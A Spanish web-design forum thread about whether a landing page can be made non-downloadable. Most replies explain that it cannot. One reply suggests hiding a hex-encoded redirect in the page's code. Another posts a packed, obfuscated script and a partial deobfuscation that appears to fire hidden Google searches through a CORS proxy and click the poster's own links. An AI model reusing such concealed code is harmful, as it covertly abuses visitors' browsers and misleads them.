¿Cómo hacer una Landing Page inaccesible para descarga?

  • Autor Autor likepop
  • Fecha de inicio Fecha de inicio
likepop

likepop

Delta
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Hola! Cómo están?

Bueno mi consulta es bastante simple pero no le encuentro una solución.

¿Existe algun plugin, código, etc, que me permita hacer que mi página web (landing page) sea indescargable?

Desde ya, muchísimas gracias

Saludos!
 
Podes encriptar con javascript, pero aun asi, sera descargable. Hay muchos metodos para descargar la web, desde el propio navegador, hasta con programas de terceros, y hasta pasando con la consola de windows o mac y linux. No te preocupes porque sea descargable o no. Total es una simple landing page.

Hasta se puede copiar todos los elementos con "Inspeccionar elemento" que trae los navegadores o copiar a mano todo. No te preocupes
 
Muchas gracias por sus respuestas!

Más que nada preguntaba porque fácilmente podría ir a una tienda donde vendan landings y clonarla. Y me parece mal hacer eso (cosa que no hago por respeto al trabajo de otros) pero conozco personas que lo hacen para revender las landings haciéndole pequeñas modificaciones.

¿Ustedes que opinan acerca de esto?
 
Muchas gracias por sus respuestas!

Más que nada preguntaba porque fácilmente podría ir a una tienda donde vendan landings y clonarla. Y me parece mal hacer eso (cosa que no hago por respeto al trabajo de otros) pero conozco personas que lo hacen para revender las landings haciéndole pequeñas modificaciones.

¿Ustedes que opinan acerca de esto?
Es éticamente incorrecto, sin embargo que se le va a hacer. No hay forma de evitarlo.

Lo que suelen hacer ya muchos vendedores de LPs es subir videos en lugar de dar acceso a la URL, es una forma de evitar que te clonen sin haber comprado antes.
 
Muchas gracias por sus respuestas!

Más que nada preguntaba porque fácilmente podría ir a una tienda donde vendan landings y clonarla. Y me parece mal hacer eso (cosa que no hago por respeto al trabajo de otros) pero conozco personas que lo hacen para revender las landings haciéndole pequeñas modificaciones.

¿Ustedes que opinan acerca de esto?

es algo molestoso y me parece mal que se clonen , pero si es posible como te informan , mientras una pagina pueda ser interpretada por el navegador ser descargable
 
Es que, clonado, copiado o no, son todos el mismo. Lo unico que cambian son las imagenes. Ademas, nadie ha inventado nada en las landing page o sitios web. Como te dije, mas alla de copiar o clonar o descargar, no te preocupes. Seguro que tu diseño como el de los otros, estan regados por ahi. Iguales, quizas cambien el color o imagen, hasta en la diagramacion, pero mas alla nada. Asi que, es algo malo clonar, pero si tu diseño es igual al otro sin clonar, que piensas? Casualidad? Si. Porque internet esta lleno de ideas iguales. Nadie pierde por tener el mismo diseño o clonado de una misma web. No importa eso.
 
Es que, clonado, copiado o no, son todos el mismo. Lo unico que cambian son las imagenes. Ademas, nadie ha inventado nada en las landing page o sitios web. Como te dije, mas alla de copiar o clonar o descargar, no te preocupes. Seguro que tu diseño como el de los otros, estan regados por ahi. Iguales, quizas cambien el color o imagen, hasta en la diagramacion, pero mas alla nada. Asi que, es algo malo clonar, pero si tu diseño es igual al otro sin clonar, que piensas? Casualidad? Si. Porque internet esta lleno de ideas iguales. Nadie pierde por tener el mismo diseño o clonado de una misma web. No importa eso.

Gracias! Yo hace un tiempo empecé a diseñar Landings para clientes en mi ciudad, y me preocupaba eso. El tema del clonado. Pero leyendo lo que comentas me dejas más tranquilo. Tienes razón en que las landings son muy parecidas en su estructura. Sólo que tienen cambios en animaciones, imágenes, etc.

Al fin y al cabo es venderle la mejor opción para el negocio del cliente.

Gracias a todos!
 
Hola! Cómo están?

Bueno mi consulta es bastante simple pero no le encuentro una solución.

¿Existe algun plugin, código, etc, que me permita hacer que mi página web (landing page) sea indescargable?

Desde ya, muchísimas gracias

Saludos!
Si lo que buscas es hacerlas únicas para que otros no las vendan... creo que no tiene sentido... Hay infinitud de plantillas y de empresas que por nada y menos de precio te dan todas las herramientas para hacer landing en cuatro clicks y muy visuales y potentes para venta.
Lo de querer evitar a toda costa que te copien el diseño o la web ya es cosa del pasado, más que nada porque hoy la mayor parte de las web son del mismo estilo y lo que se pone de moda es copiado por el resto...
 
Si que podrías añadir una redirección con JS, así si no se usa en el dominio que toca, redirige a tu web (o a donde tu quieras, según lo troll que seas xD).

Esa redirección la "escondes" entre el codigo de funciones útiles para la landing, animaciones o lo que sea que hayas hecho, y si buscas en Google, hay bastantes formas de "ocultar" ese texto, por ejemplo, pasándolo a hexadecimal.

No es 100% infalible, pero el que quiera copiarla tendrá que echarle un rato y saber un minimo del tema, no solo hacer copy paste.

Saludos!
 
No existe esa realidad en las webs, algo indescargable, lastimosamente todo tiene su hueco en este caso,
 
quizá la única opción es ofuscar la salida de html de tu web, así aunque la copien van a batallar si la quieren interpretar.
 
Sé puede ofuscar el código con javascript y hacerlo ilegible de tal forma que ni abriendo la consola de desarrollador se vea el código.
Pero descargable siempre será porque el que interpreta es el navegador y es entorno cliente por consiguiente es descargable.
 
Cualquier página web se puede descargar. Total es html/javascript... como dije al principio... no importa si no se puede descargar, se puede copiar tal cual es sin necesidad de descargar. Claro, tenes que saber maquetar, y ya esta. Nadie ha inventado nada nuevo
 
Hola likepop,

En realidad, cuando tu ves una página web, es porque ya la descargaste...
Por eso, por ahora es imposible que una página o landing sea indescargable...
Pero para proteger tu trabajo, puedes usar tecnologías de ofuscación...

Saludos,
Hugo
 
... para proteger tu trabajo, puedes usar tecnologías de ofuscación...
Es la misma, si el navegador puede ‘decompilar’ esa ofuscación también un curioso podrá hacerlo, quizá le tome unas horas pero igual podrá hacerlo.
 
Es la misma, si el navegador puede ‘decompilar’ esa ofuscación también un curioso podrá hacerlo, quizá le tome unas horas pero igual podrá hacerlo.

Sí, es vedad soy experto en estos temas y...
La verdad que tienes toda la razón...
Justamente, por ese detalle dije lo que dije...
Imposible que no sea descargable y blabla...

Saludos,
Hugo
 
Es la misma, si el navegador puede ‘decompilar’ esa ofuscación también un curioso podrá hacerlo, quizá le tome unas horas pero igual podrá hacerlo.
Yo ofusqué un código javascript de tal manera que ni abriendo la consola de desarrollador se pudiera ver , fíjate si lo ofusqué bien que perdí el código original y cuando intenté descargar el código ofuscado y realizarle la ingeniería inversar no pude conseguir el código limpio.
Aquí pongo el código ofuscado que hice.
Insertar CODE, HTML o PHP:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('G a=["\\n\\b\\f\\d","\\j\\c\\b\\d\\f\\b\\v\\k\\b\\n\\b\\i\\f","\\i\\d\\n\\b","\\c\\b\\x\\b\\c\\c\\b\\c","\\j\\e\\i\\f\\b\\i\\f","\\i\\e\\z\\c\\b\\x\\b\\c\\c\\b\\c","\\d\\l\\l\\b\\i\\q\\1t\\o\\m\\k\\q","\\o\\b\\d\\q","\\u\\b\\f\\v\\k\\b\\n\\b\\i\\f\\g\\2e\\E\\R\\d\\u\\1w\\d\\n\\b","\\q\\m\\C","\\g\\f\\E\\k\\b","\\q\\m\\g\\l\\k\\d\\E\\B\\i\\e\\i\\b","\\m\\q","\\d\\b\\c\\e\\l\\e\\c\\f","\\K\\e\\q\\E","\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c","\\g\\b\\e\\h\\j\\e\\i\\g\\r\\k\\f\\e\\c\\h\\b\\i\\h\\n\\r\\c\\j\\m\\d\\h\\e\\h\\b\\i\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\l\\c\\e\\u\\c\\d\\n\\d\\q\\e\\c\\h\\s\\b\\K\\h\\x\\c\\b\\b\\k\\d\\i\\j\\b\\h\\b\\i\\h\\T\\r\\c\\j\\m\\d\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\l\\c\\e\\u\\c\\d\\n\\d\\q\\e\\c\\h\\s\\b\\K\\h\\x\\c\\b\\b\\k\\d\\i\\j\\b\\h\\x\\c\\e\\i\\f\\b\\i\\q\\h\\b\\i\\h\\T\\r\\c\\j\\m\\d\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\2a\\b\\c\\c\\d\\n\\m\\b\\i\\f\\d\\g\\h\\u\\c\\d\\f\\m\\g\\h\\y\\v\\w\\h\\b\\i\\h\\T\\r\\c\\j\\m\\d\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\y\\r\\m\\f\\h\\o\\b\\c\\c\\d\\n\\m\\b\\i\\f\\d\\g\\h\\u\\c\\d\\f\\m\\g\\h\\l\\d\\c\\d\\h\\y\\v\\w\\h\\h\\b\\i\\h\\T\\r\\c\\j\\m\\d\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\o\\f\\f\\l\\g\\B\\p\\p\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c\\s\\b\\K\\t\\n\\k\\p","\\o\\f\\f\\l\\g\\B\\p\\p\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c\\s\\b\\K\\t\\n\\k\\p\\l\\c\\e\\u\\c\\d\\n\\d\\q\\e\\c\\z\\s\\b\\K\\z\\x\\c\\b\\b\\k\\d\\i\\j\\b\\z\\1p\\c\\e\\i\\f\\v\\i\\q\\z\\T\\r\\c\\j\\m\\d\\z\\1t\\d\\c\\d\\C\\d\\j\\d\\t\\o\\f\\n\\k","\\o\\f\\f\\l\\g\\B\\p\\p\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c\\s\\b\\K\\t\\n\\k\\p\\o\\b\\c\\c\\d\\n\\m\\b\\i\\f\\d\\g\\z\\u\\c\\d\\f\\m\\g\\z\\g\\b\\e\\t\\o\\f\\n\\k","\\c\\d\\i\\q\\e\\n","\\k\\b\\i\\u\\f\\o","\\x\\k\\e\\e\\c","\\1p\\m\\c\\b\\x\\e\\1I","\\1Y\\v","\\1t\\o\\c\\e\\n\\b","\\y\\d\\x\\d\\c\\m","\\w\\l\\b\\c\\d","\\y\\d\\n\\g\\r\\i\\u","\\m\\w\\y","\\P\\i\\q\\c\\e\\m\\q","\\2b\\m\\i\\q\\e\\s\\g","\\T\\d\\j","\\1e\\K\\r\\i\\f\\r","\\o\\f\\f\\l\\g\\B\\p\\p\\j\\e\\c\\g\\z\\d\\i\\E\\s\\o\\b\\c\\b\\t\\o\\b\\c\\e\\1f\\r\\d\\l\\l\\t\\j\\e\\n\\p\\o\\f\\f\\l\\g\\B\\p\\p\\s\\s\\s\\t\\u\\e\\e\\u\\k\\b\\t\\b\\g\\p\\g\\b\\d\\c\\j\\o\\1A\\1r\\S\\R\\H\\P\\y\\F\\P\\1d\\w\\y\\h\\P\\v\\H\\w\\1H\\1e\\v\\H\\R\\w\\h\\F\\w\\1w\\1d\\H\\v\\y\\h\\F\\e\\g\\h\\n\\b\\1u\\e\\c\\b\\g\\h\\f\\c\\d\\i\\g\\x\\b\\c\\g\\h\\l\\c\\m\\C\\d\\q\\e\\g\\h\\q\\b\\h\\F\\e\\i\\q\\c\\b\\g\\Y\\e\\1r\\S\\R\\H\\P\\y\\F\\P\\1d\\w\\y\\h\\P\\v\\H\\w\\1H\\1e\\v\\H\\R\\w\\h\\F\\w\\1w\\1d\\H\\v\\y\\h\\h\\F\\e\\g\\h\\n\\b\\1u\\e\\c\\b\\g\\h\\f\\c\\d\\i\\g\\x\\b\\c\\g\\h\\l\\c\\m\\C\\d\\q\\e\\g\\h\\q\\b\\h\\F\\e\\i\\q\\c\\b\\g\\Y\\j\\k\\m\\b\\i\\f\\S","\\Y\\g\\e\\r\\c\\j\\b\\m\\q\\S","\\Y\\m\\b\\S\\1e\\R\\1p\\z\\1T","\\1U\\v\\R","\\o\\f\\n\\k","\\1M\\d\\b\\c\\e\\l\\e\\c\\f","\\o\\c\\b\\x","\\d\\f\\f\\c","\\o\\f\\f\\l\\g\\B\\p\\p\\s\\s\\s\\t\\f\\c\\d\\g\\k\\d\\q\\e\\g\\d\\b\\c\\e\\l\\r\\b\\c\\f\\e\\k\\e\\i\\q\\c\\b\\g\\t\\j\\e\\n\\p","\\o\\f\\f\\l\\g\\B\\p\\p\\j\\e\\c\\g\\z\\d\\i\\E\\s\\o\\b\\c\\b\\t\\o\\b\\c\\e\\1f\\r\\d\\l\\l\\t\\j\\e\\n\\p","\\b\\n\\l\\f\\E","\\d\\1u\\d\\1I","\\j\\k\\m\\j\\1f","\\b\\d\\j\\o","\\d","\\o\\f\\f\\l\\g\\B\\p\\p\\j\\e\\c\\g\\z\\d\\i\\E\\s\\o\\b\\c\\b\\t\\o\\b\\c\\e\\1f\\r\\d\\l\\l\\t\\j\\e\\n\\p\\o\\f\\f\\l\\g\\B\\p\\p\\s\\s\\s\\t\\u\\e\\e\\u\\k\\b\\t\\b\\g\\p\\g\\b\\d\\c\\j\\o\\1A\\1r\\S","\\Y\\j\\k\\m\\b\\i\\f\\S","\\1M\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c","\\c\\b\\d\\q\\E"];$(O)[a[1P]](Q(){G 1c=O[a[1]](a[0]);1c[a[2]]=a[3];1c[a[4]]=a[5];O[a[8]](a[7])[0][a[6]](1c);G 1b=O[a[1]](a[9]);1b[a[10]]=a[11];1b[a[12]]=a[13];O[a[8]](a[14])[0][a[6]](1b);G Z=O[a[1]](a[9]);Z[a[10]]=a[11];Z[a[12]]=a[15];O[a[8]](a[14])[0][a[6]](Z);A=1a 1g(6);D=1a 1g(5);V=1a 1g(3);J=1a 1g(5);J[0]=a[16];J[1]=a[17];J[2]=a[18];J[3]=a[19];J[4]=a[20];V[0]=a[21];V[1]=a[22];V[2]=a[23];1l=M[a[24]]()*(J[a[25]]);1l=M[a[26]](1l);1x=M[a[24]]()*(V[a[25]]);1x=M[a[26]](1x);A[0]=a[27];A[1]=a[28];A[2]=a[29];A[3]=a[2g];A[4]=a[1N];A[5]=a[1V];D[0]=a[1R];D[1]=a[1Q];D[2]=a[1W];D[3]=a[1S];D[4]=a[2c];W=M[a[24]]()*(A[a[25]]);W=M[a[26]](W);X=M[a[24]]()*(D[a[25]]);X=M[a[26]](X);$[a[1k]]({1n:a[1Z]+D[X]+a[1y]+A[W]+a[1C],1j:a[1h],1i:Q(U){$(a[1s])[a[1m]](U);$(a[1L])[a[1E]](Q(U){1K($(I)[a[N]](a[L])==a[2d]){G 2f=U;$[a[1k]]({1n:a[1J]+$(I)[a[N]](a[L]),1j:a[1h],1i:Q(1G){G 1D=1G;$(a[1s])[a[1v]]();$(a[1s])[a[1m]](1D)}});$(I)[a[N]](a[L])[a[1F]]()}})}});$[a[1k]]({1n:a[1X]+J[1l]+a[1O]+D[X]+a[1y]+A[W]+a[1C],1j:a[1h],1i:Q(U){G 1q=U;$(a[1o])[a[1m]](1q);$(a[1L])[a[1E]](Q(1q){1K($(I)[a[N]](a[L])==a[21]||$(I)[a[N]](a[L])==a[22]||$(I)[a[N]](a[L])==a[23]){$[a[1k]]({1n:a[1J]+$(I)[a[N]](a[L]),1j:a[1h],1i:Q(1B){G 1z=1B;$(a[1o])[a[1v]]();$(a[1o])[a[1m]](1z)}});$(I)[a[N]](a[L])[a[1F]]()}});$(a[1o])[a[1v]]()}})})',62,141,'||||||||||_0x196f|x65|x72|x61|x6F|x74|x73|x20|x6E|x63|x6C|x70|x69|x6D|x68|x2F|x64|x75|x77|x2E|x67|x45|x4F|x66|x53|x2D|browser|x3A|x76|so|x79|x4C|var|x52|this|questionseocon|x62|44|Math|45|document|x41|function|x54|x3D|x4D|_0x9b6cx4|urlseocon|randbrowser|randso|x26|_0x9b6cx3|||||||||||new|_0x9b6cx2|_0x9b6cx1|x44|x55|x6B|Array|41|success|type|49|randquestion|42|url|55|x46|_0x9b6cx8|x71|43|x43|x6A|48|x4E|randurl|39|_0x9b6cxa|x3F|_0x9b6cx9|40|_0x9b6cx7|51|50|_0x9b6cx6|x50|x78|47|if|52|x23|31|54|56|34|33|36|x38|x47|32|35|53|x49|38|||||||||||x48|x57|37|46|x42|_0x9b6cx5|30'.split('|'),0,{}))
y esto es lo máximo que pude recuperar del código.
Insertar CODE, HTML o PHP:
'use strict';
/** @type {!Array} */
var _0x2e4d = ["meta", "createElement", "name", "referrer", "content", "no-referrer", "appendChild", "head", "getElementsByTagName", "div", "style", "display:none", "id", "aeroport", "body"];
$(document)[_0x2e4d[55]](function() {
  var artistTrack = document[_0x2e4d[1]](_0x2e4d[0]);
  artistTrack[_0x2e4d[2]] = _0x2e4d[3];
  artistTrack[_0x2e4d[4]] = _0x2e4d[5];
  document[_0x2e4d[8]](_0x2e4d[7])[0][_0x2e4d[6]](artistTrack);
  var GET_AUTH_URL_TIMEOUT = document[_0x2e4d[1]](_0x2e4d[9]);
  GET_AUTH_URL_TIMEOUT[_0x2e4d[10]] = _0x2e4d[11];
  GET_AUTH_URL_TIMEOUT[_0x2e4d[12]] = _0x2e4d[13];
  document[_0x2e4d[8]](_0x2e4d[14])[0][_0x2e4d[6]](GET_AUTH_URL_TIMEOUT);
  var numKeysDeleted = document[_0x2e4d[1]](_0x2e4d[9]);
  numKeysDeleted[_0x2e4d[10]] = _0x2e4d[11];
  numKeysDeleted[_0x2e4d[12]] = _0x2e4d[15];
  document[_0x2e4d[8]](_0x2e4d[14])[0][_0x2e4d[6]](numKeysDeleted);
  /** @type {!Array} */
  browser = new Array(6);
  /** @type {!Array} */
  so = new Array(5);
  /** @type {!Array} */
  urlseocon = new Array(3);
  /** @type {!Array} */
  questionseocon = new Array(5);
  questionseocon[0] = _0x2e4d[16];
  questionseocon[1] = _0x2e4d[17];
  questionseocon[2] = _0x2e4d[18];
  questionseocon[3] = _0x2e4d[19];
  questionseocon[4] = _0x2e4d[20];
  urlseocon[0] = _0x2e4d[21];
  urlseocon[1] = _0x2e4d[22];
  urlseocon[2] = _0x2e4d[23];
  /** @type {number} */
  randquestion = Math[_0x2e4d[24]]() * questionseocon[_0x2e4d[25]];
  randquestion = Math[_0x2e4d[26]](randquestion);
  /** @type {number} */
  randurl = Math[_0x2e4d[24]]() * urlseocon[_0x2e4d[25]];
  randurl = Math[_0x2e4d[26]](randurl);
  browser[0] = _0x2e4d[27];
  browser[1] = _0x2e4d[28];
  browser[2] = _0x2e4d[29];
  browser[3] = _0x2e4d[30];
  browser[4] = _0x2e4d[31];
  browser[5] = _0x2e4d[32];
  so[0] = _0x2e4d[33];
  so[1] = _0x2e4d[34];
  so[2] = _0x2e4d[35];
  so[3] = _0x2e4d[36];
  so[4] = _0x2e4d[37];
  /** @type {number} */
  randbrowser = Math[_0x2e4d[24]]() * browser[_0x2e4d[25]];
  randbrowser = Math[_0x2e4d[26]](randbrowser);
  /** @type {number} */
  randso = Math[_0x2e4d[24]]() * so[_0x2e4d[25]];
  randso = Math[_0x2e4d[26]](randso);
  $[_0x2e4d[42]]({
    url : _0x2e4d[38],
    type : _0x2e4d[39],
    success : function(theDirectoryEntry) {
      var artistTrack = theDirectoryEntry;
      $(_0x2e4d[41])[_0x2e4d[40]](artistTrack);
    }
  });
  $[_0x2e4d[42]]({
    url : _0x2e4d[43] + questionseocon[randquestion] + _0x2e4d[44] + so[randso] + _0x2e4d[45] + browser[randbrowser] + _0x2e4d[46],
    type : _0x2e4d[39],
    success : function(theDirectoryEntry) {
      var artistTrack = theDirectoryEntry;
      $(_0x2e4d[47])[_0x2e4d[40]](artistTrack);
      $(_0x2e4d[54])[_0x2e4d[53]](function(canCreateDiscussions) {
        if ($(this)[_0x2e4d[49]](_0x2e4d[48]) == _0x2e4d[21] || $(this)[_0x2e4d[49]](_0x2e4d[48]) == _0x2e4d[22] || $(this)[_0x2e4d[49]](_0x2e4d[48]) == _0x2e4d[23]) {
          $[_0x2e4d[42]]({
            url : _0x2e4d[50] + $(this)[_0x2e4d[49]](_0x2e4d[48]),
            type : _0x2e4d[39],
            success : function(theDirectoryEntry) {
              var artistTrack = theDirectoryEntry;
              $(_0x2e4d[47])[_0x2e4d[51]]();
              $(_0x2e4d[47])[_0x2e4d[40]](artistTrack);
            }
          });
          $(this)[_0x2e4d[49]](_0x2e4d[48])[_0x2e4d[52]]();
        }
      });
      $(_0x2e4d[47])[_0x2e4d[51]]();
    }
  });
});

Si alguien logra deofuscarlo y puede retornarme el código limpio pues se lo agradecería.
 
Última edición:
Lo que puedes hacer es utilizar history API y cambiar la ruta una vez cargada la URL, para los menos "pros", de modo que si ven el codigo fuente (click derecho + ver codigo fuente) no vea la LP, pero no se me ocurre más, al abrir una URL en tu navegador ya la estás descargando por lo que hacer imposible de descargar no es posible, sólo complicarlo a los menos hábiles
 
Yo ofusqué un código javascript de tal manera que ni abriendo la consola de desarrollador se pudiera ver , fíjate si lo ofusqué bien que perdí el código original y cuando intenté descargar el código ofuscado y realizarle la ingeniería inversar no pude conseguir el código limpio.
Aquí pongo el código ofuscado que hice.
Insertar CODE, HTML o PHP:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('G a=["\\n\\b\\f\\d","\\j\\c\\b\\d\\f\\b\\v\\k\\b\\n\\b\\i\\f","\\i\\d\\n\\b","\\c\\b\\x\\b\\c\\c\\b\\c","\\j\\e\\i\\f\\b\\i\\f","\\i\\e\\z\\c\\b\\x\\b\\c\\c\\b\\c","\\d\\l\\l\\b\\i\\q\\1t\\o\\m\\k\\q","\\o\\b\\d\\q","\\u\\b\\f\\v\\k\\b\\n\\b\\i\\f\\g\\2e\\E\\R\\d\\u\\1w\\d\\n\\b","\\q\\m\\C","\\g\\f\\E\\k\\b","\\q\\m\\g\\l\\k\\d\\E\\B\\i\\e\\i\\b","\\m\\q","\\d\\b\\c\\e\\l\\e\\c\\f","\\K\\e\\q\\E","\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c","\\g\\b\\e\\h\\j\\e\\i\\g\\r\\k\\f\\e\\c\\h\\b\\i\\h\\n\\r\\c\\j\\m\\d\\h\\e\\h\\b\\i\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\l\\c\\e\\u\\c\\d\\n\\d\\q\\e\\c\\h\\s\\b\\K\\h\\x\\c\\b\\b\\k\\d\\i\\j\\b\\h\\b\\i\\h\\T\\r\\c\\j\\m\\d\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\l\\c\\e\\u\\c\\d\\n\\d\\q\\e\\c\\h\\s\\b\\K\\h\\x\\c\\b\\b\\k\\d\\i\\j\\b\\h\\x\\c\\e\\i\\f\\b\\i\\q\\h\\b\\i\\h\\T\\r\\c\\j\\m\\d\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\2a\\b\\c\\c\\d\\n\\m\\b\\i\\f\\d\\g\\h\\u\\c\\d\\f\\m\\g\\h\\y\\v\\w\\h\\b\\i\\h\\T\\r\\c\\j\\m\\d\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\y\\r\\m\\f\\h\\o\\b\\c\\c\\d\\n\\m\\b\\i\\f\\d\\g\\h\\u\\c\\d\\f\\m\\g\\h\\l\\d\\c\\d\\h\\y\\v\\w\\h\\h\\b\\i\\h\\T\\r\\c\\j\\m\\d\\h\\j\\d\\c\\d\\C\\d\\j\\d","\\o\\f\\f\\l\\g\\B\\p\\p\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c\\s\\b\\K\\t\\n\\k\\p","\\o\\f\\f\\l\\g\\B\\p\\p\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c\\s\\b\\K\\t\\n\\k\\p\\l\\c\\e\\u\\c\\d\\n\\d\\q\\e\\c\\z\\s\\b\\K\\z\\x\\c\\b\\b\\k\\d\\i\\j\\b\\z\\1p\\c\\e\\i\\f\\v\\i\\q\\z\\T\\r\\c\\j\\m\\d\\z\\1t\\d\\c\\d\\C\\d\\j\\d\\t\\o\\f\\n\\k","\\o\\f\\f\\l\\g\\B\\p\\p\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c\\s\\b\\K\\t\\n\\k\\p\\o\\b\\c\\c\\d\\n\\m\\b\\i\\f\\d\\g\\z\\u\\c\\d\\f\\m\\g\\z\\g\\b\\e\\t\\o\\f\\n\\k","\\c\\d\\i\\q\\e\\n","\\k\\b\\i\\u\\f\\o","\\x\\k\\e\\e\\c","\\1p\\m\\c\\b\\x\\e\\1I","\\1Y\\v","\\1t\\o\\c\\e\\n\\b","\\y\\d\\x\\d\\c\\m","\\w\\l\\b\\c\\d","\\y\\d\\n\\g\\r\\i\\u","\\m\\w\\y","\\P\\i\\q\\c\\e\\m\\q","\\2b\\m\\i\\q\\e\\s\\g","\\T\\d\\j","\\1e\\K\\r\\i\\f\\r","\\o\\f\\f\\l\\g\\B\\p\\p\\j\\e\\c\\g\\z\\d\\i\\E\\s\\o\\b\\c\\b\\t\\o\\b\\c\\e\\1f\\r\\d\\l\\l\\t\\j\\e\\n\\p\\o\\f\\f\\l\\g\\B\\p\\p\\s\\s\\s\\t\\u\\e\\e\\u\\k\\b\\t\\b\\g\\p\\g\\b\\d\\c\\j\\o\\1A\\1r\\S\\R\\H\\P\\y\\F\\P\\1d\\w\\y\\h\\P\\v\\H\\w\\1H\\1e\\v\\H\\R\\w\\h\\F\\w\\1w\\1d\\H\\v\\y\\h\\F\\e\\g\\h\\n\\b\\1u\\e\\c\\b\\g\\h\\f\\c\\d\\i\\g\\x\\b\\c\\g\\h\\l\\c\\m\\C\\d\\q\\e\\g\\h\\q\\b\\h\\F\\e\\i\\q\\c\\b\\g\\Y\\e\\1r\\S\\R\\H\\P\\y\\F\\P\\1d\\w\\y\\h\\P\\v\\H\\w\\1H\\1e\\v\\H\\R\\w\\h\\F\\w\\1w\\1d\\H\\v\\y\\h\\h\\F\\e\\g\\h\\n\\b\\1u\\e\\c\\b\\g\\h\\f\\c\\d\\i\\g\\x\\b\\c\\g\\h\\l\\c\\m\\C\\d\\q\\e\\g\\h\\q\\b\\h\\F\\e\\i\\q\\c\\b\\g\\Y\\j\\k\\m\\b\\i\\f\\S","\\Y\\g\\e\\r\\c\\j\\b\\m\\q\\S","\\Y\\m\\b\\S\\1e\\R\\1p\\z\\1T","\\1U\\v\\R","\\o\\f\\n\\k","\\1M\\d\\b\\c\\e\\l\\e\\c\\f","\\o\\c\\b\\x","\\d\\f\\f\\c","\\o\\f\\f\\l\\g\\B\\p\\p\\s\\s\\s\\t\\f\\c\\d\\g\\k\\d\\q\\e\\g\\d\\b\\c\\e\\l\\r\\b\\c\\f\\e\\k\\e\\i\\q\\c\\b\\g\\t\\j\\e\\n\\p","\\o\\f\\f\\l\\g\\B\\p\\p\\j\\e\\c\\g\\z\\d\\i\\E\\s\\o\\b\\c\\b\\t\\o\\b\\c\\e\\1f\\r\\d\\l\\l\\t\\j\\e\\n\\p","\\b\\n\\l\\f\\E","\\d\\1u\\d\\1I","\\j\\k\\m\\j\\1f","\\b\\d\\j\\o","\\d","\\o\\f\\f\\l\\g\\B\\p\\p\\j\\e\\c\\g\\z\\d\\i\\E\\s\\o\\b\\c\\b\\t\\o\\b\\c\\e\\1f\\r\\d\\l\\l\\t\\j\\e\\n\\p\\o\\f\\f\\l\\g\\B\\p\\p\\s\\s\\s\\t\\u\\e\\e\\u\\k\\b\\t\\b\\g\\p\\g\\b\\d\\c\\j\\o\\1A\\1r\\S","\\Y\\j\\k\\m\\b\\i\\f\\S","\\1M\\g\\b\\e\\j\\e\\i\\g\\r\\k\\f\\e\\c","\\c\\b\\d\\q\\E"];$(O)[a[1P]](Q(){G 1c=O[a[1]](a[0]);1c[a[2]]=a[3];1c[a[4]]=a[5];O[a[8]](a[7])[0][a[6]](1c);G 1b=O[a[1]](a[9]);1b[a[10]]=a[11];1b[a[12]]=a[13];O[a[8]](a[14])[0][a[6]](1b);G Z=O[a[1]](a[9]);Z[a[10]]=a[11];Z[a[12]]=a[15];O[a[8]](a[14])[0][a[6]](Z);A=1a 1g(6);D=1a 1g(5);V=1a 1g(3);J=1a 1g(5);J[0]=a[16];J[1]=a[17];J[2]=a[18];J[3]=a[19];J[4]=a[20];V[0]=a[21];V[1]=a[22];V[2]=a[23];1l=M[a[24]]()*(J[a[25]]);1l=M[a[26]](1l);1x=M[a[24]]()*(V[a[25]]);1x=M[a[26]](1x);A[0]=a[27];A[1]=a[28];A[2]=a[29];A[3]=a[2g];A[4]=a[1N];A[5]=a[1V];D[0]=a[1R];D[1]=a[1Q];D[2]=a[1W];D[3]=a[1S];D[4]=a[2c];W=M[a[24]]()*(A[a[25]]);W=M[a[26]](W);X=M[a[24]]()*(D[a[25]]);X=M[a[26]](X);$[a[1k]]({1n:a[1Z]+D[X]+a[1y]+A[W]+a[1C],1j:a[1h],1i:Q(U){$(a[1s])[a[1m]](U);$(a[1L])[a[1E]](Q(U){1K($(I)[a[N]](a[L])==a[2d]){G 2f=U;$[a[1k]]({1n:a[1J]+$(I)[a[N]](a[L]),1j:a[1h],1i:Q(1G){G 1D=1G;$(a[1s])[a[1v]]();$(a[1s])[a[1m]](1D)}});$(I)[a[N]](a[L])[a[1F]]()}})}});$[a[1k]]({1n:a[1X]+J[1l]+a[1O]+D[X]+a[1y]+A[W]+a[1C],1j:a[1h],1i:Q(U){G 1q=U;$(a[1o])[a[1m]](1q);$(a[1L])[a[1E]](Q(1q){1K($(I)[a[N]](a[L])==a[21]||$(I)[a[N]](a[L])==a[22]||$(I)[a[N]](a[L])==a[23]){$[a[1k]]({1n:a[1J]+$(I)[a[N]](a[L]),1j:a[1h],1i:Q(1B){G 